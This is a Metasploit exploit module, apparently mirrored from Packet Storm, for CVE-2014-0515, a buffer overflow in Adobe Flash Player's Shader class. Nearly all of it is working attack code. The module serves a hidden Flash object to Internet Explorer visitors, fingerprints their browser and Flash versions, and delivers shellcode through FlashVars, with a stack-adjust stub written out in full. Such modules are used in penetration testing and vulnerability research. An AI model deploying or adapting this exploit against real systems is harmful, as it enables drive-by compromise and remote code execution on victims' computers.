Adobe Flash Player Shader Buffer Overflow

2014-05-0900:00:00

juan vazquez

packetstormsecurity.com

0.97 High

EPSS

Percentile

99.7%

JSON

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::BrowserExploitServer  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Adobe Flash Player Shader Buffer Overflow",  
'Description' => %q{  
This module exploits a buffer overflow vulnerability in Adobe Flash Player. The  
vulnerability occurs in the flash.Display.Shader class, when setting specially  
crafted data as its bytecode, as exploited in the wild in April 2014. This module  
has been tested successfully on IE 6 to IE 10 with Flash 11 and Flash 12 over  
Windows XP SP3, Windows 7 SP1 and Windows 8.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Unknown', # Vulnerability discovery and exploit in the wild  
'juan vazquez' # msf module  
],  
'References' =>  
[  
['CVE', '2014-0515'],  
['BID', '67092'],  
['URL', 'http://helpx.adobe.com/security/products/flash-player/apsb14-13.html'],  
['URL', 'http://www.securelist.com/en/blog/8212/New_Flash_Player_0_day_CVE_2014_0515_used_in_watering_hole_attacks'],  
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2014-0515-the-recent-flash-zero-day/' ]  
],  
'Payload' =>  
{  
'Space' => 2000,  
'DisableNops' => true,  
'PrependEncoder' => stack_adjust  
},  
'DefaultOptions' =>  
{  
'InitialAutoRunScript' => 'migrate -f',  
'Retries' => false,  
'EXITFUNC' => "thread"  
},  
'Platform' => 'win',  
'BrowserRequirements' =>  
{  
:source => /script|headers/i,  
:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",  
:method => "LoadMovie",  
:os_name => Msf::OperatingSystems::WINDOWS,  
:ua_name => Msf::HttpClients::IE,  
:flash => lambda { |ver| ver =~ /^11\./ || ver =~ /^12\./ || (ver =~ /^13\./ && ver <= '13.0.0.182') }  
},  
'Targets' =>  
[  
[ 'Automatic', {} ]  
],  
'Privileged' => false,  
'DisclosureDate' => "Apr 28 2014",  
'DefaultTarget' => 0))  
end  
  
def exploit  
@swf = create_swf  
super  
end  
  
def stack_adjust  
adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb  
adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit  
adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit  
adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset  
  
adjust  
end  
  
def on_request_exploit(cli, request, target_info)  
print_status("Request: #{request.uri}")  
  
if request.uri =~ /\.swf$/  
print_status("Sending SWF...")  
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})  
return  
end  
  
print_status("Sending HTML...")  
tag = retrieve_tag(cli, request)  
profile = get_profile(tag)  
profile[:tried] = false unless profile.nil? # to allow request the swf  
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})  
end  
  
def exploit_template(cli, target_info)  
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"  
flash_payload = ""  
get_payload(cli,target_info).unpack("V*").each do |i|  
flash_payload << "0x#{i.to_s(16)},"  
end  
flash_payload.gsub!(/,$/, "")  
  
  
html_template = %Q|<html>  
<body>  
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />  
<param name="movie" value="<%=swf_random%>" />  
<param name="allowScriptAccess" value="always" />  
<param name="FlashVars" value="sh=<%=flash_payload%>" />  
<param name="Play" value="true" />  
</object>  
</body>  
</html>  
|  
  
return html_template, binding()  
end  
  
def create_swf  
path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2014-0515", "Graph.swf" )  
swf = ::File.open(path, 'rb') { |f| swf = f.read }  
  
swf  
end  
  
end  
`